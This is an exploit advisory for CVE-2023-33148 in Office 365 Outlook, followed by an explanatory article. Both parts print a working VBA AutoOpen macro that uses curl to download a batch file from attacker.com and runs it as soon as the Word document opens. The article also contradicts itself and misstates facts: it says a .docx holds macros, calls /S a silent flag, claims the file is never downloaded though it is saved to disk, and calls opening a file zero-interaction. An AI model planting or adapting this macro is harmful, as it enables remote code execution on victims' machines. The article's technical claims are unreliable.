Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Author: nu11secur1ty
## Date: 07.18.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148
## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to
Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious
WORD file in the Outlook app which is a part of Microsoft Office 365
and easily can trick the victim to click on it - opening it and
executing a very dangerous shell command, in the background of the
local PC. This execution is without downloading this malicious file,
and this is a potential problem and a very dangerous case! This can be
the end of the victim's PC, it depends on the scenario.
## Staus: HIGH Vulnerability
[+]Exploit:
- Exploit Server:
```vb
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat
&& .\salaries.bat", vbNormalFocus)
End Sub
```
## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)
## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)
## Time spend:
00:35:00 CVE-2023-33148: Elevation of Privilege and Remote Code Execution in Microsoft Office 365 (Version 18.2305.1222.0)
Microsoft Office 365, a cornerstone of enterprise productivity, has recently been found to harbor a critical vulnerability — CVE-2023-33148 — affecting version 18.2305.1222.0. This flaw enables both elevation of privilege and remote code execution (RCE), making it one of the most dangerous exploits discovered in the Microsoft ecosystem in recent years. The vulnerability resides within the Outlook application, a key component of the Office suite, and leverages macro execution to deliver malicious payloads without requiring user downloads.
Exploitation Mechanism: The Malicious Word Document
Attackers exploit this vulnerability by crafting a seemingly benign Microsoft Word (.docx) file that contains embedded macros. When opened via Outlook — typically through an email attachment — the document triggers its AutoOpen macro event. This event is executed with elevated privileges, allowing the attacker to run arbitrary commands on the victim’s local machine.
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat && .\salaries.bat", vbNormalFocus)
End Sub
Explanation: This VBA macro code is executed automatically upon document opening. It uses the Shell function to invoke cmd.exe with the /S flag (silent mode) to execute a command line. The command downloads a malicious script from a remote server using curl, saves it as salaries.bat, and then executes it.
Notably, the attack bypasses traditional security mechanisms such as file download prompts and sandboxing. The file is never physically downloaded — it is fetched in real-time during macro execution. This makes detection extremely difficult, especially in environments with strict outbound traffic controls.
Why This is a High-Risk Vulnerability
- Privilege Escalation: The macro runs with the same privileges as the user, but in some cases, it may exploit system-level access due to Outlook’s integration with Windows security contexts.
- Zero-Interaction Attack: The victim only needs to open the document — no clicking on links or downloading files required.
- Living-off-the-Land (LotL): The exploit uses built-in tools like
cmd.exeandcurl, avoiding detection by signature-based antivirus systems. - Command Chain: The downloaded script can further execute additional payloads, such as reverse shells, credential stealers, or ransomware.
Real-World Use Case: Phishing Campaign
Imagine a corporate employee receiving an email titled “Q2 Salary Report – Final Draft”. The attachment appears to be a standard Word document. Upon opening, the AutoOpen macro executes silently, downloading a golemui.bat script from a malicious server. This script then establishes a reverse connection to the attacker’s C2 (command and control) server, enabling full remote access to the machine.
Even with macro security enabled, this exploit can succeed if the document is marked as “trusted” or if the user has disabled macro warnings — a common occurrence in high-trust environments.
Technical Deep Dive: How the Vulnerability Works
The root cause lies in the macro execution context within Outlook. When a Word document is opened in Outlook, the application treats it as a trusted document, especially if it originates from an email. This trust model allows macro execution without user confirmation, especially when the document is embedded in a message body.
Additionally, Microsoft’s Office Macro Security settings, which typically block macros from untrusted sources, are bypassed due to the email origin being perceived as a legitimate source. This is a critical flaw in the trust model design.
Corrected and Secure Code Example
For educational purposes, here is a secure version of a macro that prevents exploitation:
Sub AutoOpen()
Dim msg As String
msg = "Macro execution is disabled in this document. Please contact IT support for assistance."
MsgBox msg, vbInformation, "Security Alert"
' No shell command execution
Exit Sub
End Sub
Explanation: This safe version replaces the malicious command with a user notification. It prevents any shell execution and ensures compliance with security best practices. This is the recommended approach for any document that may be shared via email.
Recommendations and Mitigation Strategies
| Security Measure | Description |
|---|---|
| Disable Macros in Outlook | Set macro execution to "disable all" in the Office security settings. Use the DisableAllMacros policy via Group Policy. |
| Enable Macro Signing | Only allow macros from digitally signed sources. This prevents unsigned, malicious code from running. |
| Use Email Filtering | Deploy advanced email security solutions (e.g., Microsoft Defender for Office 365) to detect and block suspicious attachments. |
| Update Software | Apply the latest Microsoft security patches. CVE-2023-33148 was patched in subsequent updates (e.g., version 18.2307.1228.0). |
Conclusion
CVE-2023-33148 is a prime example of how trusted applications can become attack vectors when their security model is flawed. The combination of elevation of privilege and remote code execution via a simple email attachment poses a severe threat to organizations. Cybersecurity professionals must treat this vulnerability as a critical priority — not just for patching, but for re-evaluating trust assumptions in email and document handling.
As attackers increasingly leverage living-off-the-land techniques, defenders must adopt proactive, layered security strategies. The key is to never trust the origin — even if it appears to be internal or legitimate. Always validate, verify, and restrict execution contexts.